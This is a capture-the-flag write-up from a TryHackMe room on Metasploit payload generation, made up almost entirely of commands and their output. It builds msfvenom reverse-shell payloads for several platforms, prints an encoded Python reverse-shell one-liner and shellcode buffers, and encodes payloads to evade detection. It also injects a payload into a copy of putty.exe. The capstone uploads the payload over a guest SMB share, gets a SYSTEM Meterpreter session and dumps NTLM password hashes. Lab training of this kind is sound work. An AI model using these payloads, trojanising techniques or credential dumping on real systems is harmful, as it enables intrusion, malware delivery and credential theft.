Metasploit: Payload Generation (TryHackMe)
Link of the challenge on TryHackMe: Metasploit: Payload Generation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe
msfvenom -l payloads
msfvenom -l payloads | grep linux | grep meterpreter
msfvenom -l formats
msfvenom -l encoders
msfvenom -l platforms
msfvenom -l archs
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
Options for payload/windows/x64/meterpreter/reverse_tcp:
=========================
Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
Module: payload/windows/x64/meterpreter/reverse_tcp
Platform: Windows
Arch: x64
Needs Admin: No
Total size: 450
Rank: Normal
Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
OJ Reeves
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer.
Connect back to the attacker (Windows x64)
Advanced options for payload/windows/x64/meterpreter/reverse_tcp:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadExtensions priv, stdapi yes Automatically load extensions on bootstrap.
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initiali
zation.
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occ
ur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ign
ored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before
AutoRunScript)
MeterpreterDebugBuild false no Use a debug version of Meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see htt
ps://docs.metasploit.com/docs/using-metasploit/advan
ced/meterpreter/meterpreter-debugging-meterpreter-se
ssions.html
PayloadUUIDName no A human-friendly name to reference this unique paylo
ad (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value
for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (de
terministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated U
UIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Conne
ct back will NOT go through proxy but directly to LH
OST
ReverseListenerBindAddre no The specific IP address to bind to on the local syst
ss em
ReverseListenerBindPort no The port to bind to on the local system if different
from LPORT
ReverseListenerComm no The specific communication channel to use for this l
istener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimenta
l)
SessionCommunicationTime 300 no The number of seconds of no activity before this ses
out sion should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be
forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network fa
ilure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegister no Additional registers to preserve in the staged paylo
s ad if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder
is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the f
irst connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between rec
onnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/windows/x64/meterpreter/reverse_tcp:
=========================
answer 1 & 2
msfvenom --help
[...]
-f, --format <format> Output format (use --list formats to list)
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
[...]
task 3
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o staged.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: staged.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o stageless.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 248902 bytes
Final size of exe file: 256000 bytes
Saved as: stageless.exe
task 4
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 248902 bytes
Final size of exe file: 256000 bytes
Saved as: shell.exe
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1121480 bytes
Final size of elf file: 1121480 bytes
Saved as: shell.elf
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f raw -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 39836 bytes
Saved as: shell.php
msfvenom -p cmd/unix/reverse_python LHOST=10.114.121.234 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 431 bytes
echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNqFT8EKwjAM/ZXSUwtS17qb9DBkgogKbvfhamXD2Zal+3/XteJxgZC8vJc80n+cHT0Cq97aI4Q2c8LUutEqDZAGNjRo31nwEvOMcZ4zLjgTuxwvTLgh8zkWBDKeY7GQhIpjc7qW9c8kDqvb4dxU9b0sLjQuM2WN0coTEvySOhjQKLDAnpMTBNirH7SxhCZNtsLzFV5E3sn//0w9hoHgbdubLXSYfgF7f1SG\'\)\[0\]\)\)\) | $(which python || which python3 || which python2) -
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of c file: 853830 bytes
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50"
[...]
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=5555 -f exe -o backdoor.exe
task 5
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 3 -o encoded.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 248931 (iteration=0)
x86/shikata_ga_nai succeeded with size 248960 (iteration=1)
x86/shikata_ga_nai succeeded with size 248989 (iteration=2)
x86/shikata_ga_nai chosen with final size 248989
Payload size: 248989 bytes
Final size of exe file: 256000 bytes
Saved as: encoded.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f c -b '\x00\x0a\x0d'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 503 (iteration=0)
x64/xor chosen with final size 503
Payload size: 503 bytes
Final size of c file: 2144 bytes
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\x31\x8d\x4e\x13\x34\x1d\x3a\x65\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcd\xc5\xcd"
[...]
msfvenom --help
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
[...]
Task 6
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -x /root/templates/putty.exe -f exe -o putty_backdoor.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -x /root/templates/putty.exe -k -f exe -o putty_backdoor.exe
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -o evil.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10253 bytes
Saved as: evil.apk
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f macho -o shell.macho
[-] No platform was selected, choosing Msf::Module::Platform::OSX from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 857592 bytes
Final size of macho file: 857592 bytes
Saved as: shell.macho
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f war -o shell.war
Payload size: 6213 bytes
Final size of war file: 6213 bytes
Saved as: shell.war
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 248902 bytes
Final size of aspx file: 1258060 bytes
Saved as: shell.aspx
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f jsp -o shell.jsp
msfvenom --help
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
Task 7
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f elf -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 248902 bytes
Error: The payload could not be generated, check options
msfconsole
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > set LHOST 10.114.121.234
LHOST => 10.114.121.234
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > show options
Payload options (windows/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST 10.114.121.234 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.114.121.234:4444
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 248902 bytes
Final size of exe file: 256000 bytes
Saved as: shell.exe
Capstone
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=10.114.121.234 LPORT=443 \
-f exe -o /tmp/payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 248902 bytes
Final size of exe file: 256000 bytes
Saved as: /tmp/payload.exe
msf > use auxiliary/admin/smb/upload_file
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(admin/smb/upload_file) >
msf auxiliary(admin/smb/upload_file) > set LPATH /tmp/payload.exe
LPATH => /tmp/payload.exe
msf auxiliary(admin/smb/upload_file) > set RPATH payload.exe
RPATH => payload.exe
msf auxiliary(admin/smb/upload_file) > set RHOSTS 10.114.137.102
RHOSTS => 10.114.137.102
msf auxiliary(admin/smb/upload_file) > run
[*] 10.114.137.102:445 - Error: 10.114.137.102: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] 10.114.137.102:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/smb/upload_file) >
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) >
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > set LHOST 10.114.121.234
LHOST => 10.114.121.234
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.114.121.234:443
alt
msf > use auxiliary/scanner/smb/smb_enumshares
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.114.137.102
RHOSTS => 10.114.137.102
msf auxiliary(scanner/smb/smb_enumshares) > set SMBUser guest
SMBUser => guest
msf auxiliary(scanner/smb/smb_enumshares) > set SMBPass ""
SMBPass =>
msf auxiliary(scanner/smb/smb_enumshares) >
msf auxiliary(scanner/smb/smb_enumshares) > run
[-] 10.114.137.102:139 - Login Failed: Unable to negotiate SMB1 with the remote host: Not a valid SMB packet
[!] 10.114.137.102:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[!] 10.114.137.102:445 - peer_native_lm is only available with SMB1 (current version: SMB3)
[+] 10.114.137.102:445 - ADMIN$ - (DISK|SPECIAL) Remote Admin
[+] 10.114.137.102:445 - C$ - (DISK|SPECIAL) Default share
[+] 10.114.137.102:445 - internal - (DISK) Internal files
[+] 10.114.137.102:445 - IPC$ - (IPC|SPECIAL) Remote IPC
[+] 10.114.137.102:445 - public - (DISK) Public uploads
[*] 10.114.137.102: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_enumshares) >
msf > use auxiliary/admin/smb/upload_file
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(admin/smb/upload_file) > set SMBSHARE public
SMBSHARE => public
msf auxiliary(admin/smb/upload_file) > set LPATH /tmp/payload.exe
LPATH => /tmp/payload.exe
msf auxiliary(admin/smb/upload_file) > set RPATH payload.exe
RPATH => payload.exe
msf auxiliary(admin/smb/upload_file) > set RHOSTS 10.114.137.102
RHOSTS => 10.114.137.102
msf auxiliary(admin/smb/upload_file) > set SMBUser guest
SMBUser => guest
msf auxiliary(admin/smb/upload_file) > set SMBPass ""
SMBPass =>
msf auxiliary(admin/smb/upload_file) > run
[+] 10.114.137.102:445 - /tmp/payload.exe uploaded to payload.exe
[*] 10.114.137.102:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/smb/upload_file) >
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) >
msf exploit(multi/handler) > set LHOST 10.114.121.234
LHOST => 10.114.121.234
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.114.121.234:443
[*] Meterpreter session 1 opened (10.114.121.234:443 -> 10.114.137.102:49921) at 2026-06-09 08:31:06 +0000
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dfe3378335d43f9764e581b856a662a:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jim:1008:aad3b435b51404eeaad3b435b51404ee:1e3fe826df1e5af582a98c034cafa9f4:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > search -f *.txt -d C:\Users\Administrator
[-] stdapi_fs_search: Operation failed: The system cannot find the path specified.
meterpreter > shell
Process 3944 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd ..
cd ..
C:\Windows>cd ..
cd ..
C:\>cd Users
cd Users
C:\Users>cd Administrator
cd Administrator
C:\Users\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\Users\Administrator
03/17/2021 03:13 PM <DIR> .
03/17/2021 03:13 PM <DIR> ..
03/17/2021 03:13 PM <DIR> 3D Objects
03/17/2021 03:13 PM <DIR> Contacts
03/17/2021 03:13 PM <DIR> Desktop
04/27/2026 05:52 AM <DIR> Documents
03/17/2021 03:13 PM <DIR> Downloads
03/17/2021 03:13 PM <DIR> Favorites
03/17/2021 03:13 PM <DIR> Links
03/17/2021 03:13 PM <DIR> Music
03/17/2021 03:13 PM <DIR> Pictures
03/17/2021 03:13 PM <DIR> Saved Games
03/17/2021 03:13 PM <DIR> Searches
03/17/2021 03:13 PM <DIR> Videos
0 File(s) 0 bytes
14 Dir(s) 14,730,399,744 bytes free
C:\Users\Administrator>dir Desktop
dir Desktop
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\Users\Administrator\Desktop
03/17/2021 03:13 PM <DIR> .
03/17/2021 03:13 PM <DIR> ..
06/21/2016 03:36 PM 527 EC2 Feedback.website
06/21/2016 03:36 PM 554 EC2 Microsoft Windows Guide.website
2 File(s) 1,081 bytes
2 Dir(s) 14,730,399,744 bytes free
C:\Users\Administrator>dir Documents
dir Documents
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\Users\Administrator\Documents
04/27/2026 05:52 AM <DIR> .
04/27/2026 05:52 AM <DIR> ..
04/24/2026 12:24 PM 39 flag.txt
1 File(s) 39 bytes
2 Dir(s) 14,730,395,648 bytes free
C:\Users\Administrator>type Documents\flag.txt
type Documents\flag.txt
THM{capst0ne_pwn3d_v1a_writable_redacted}
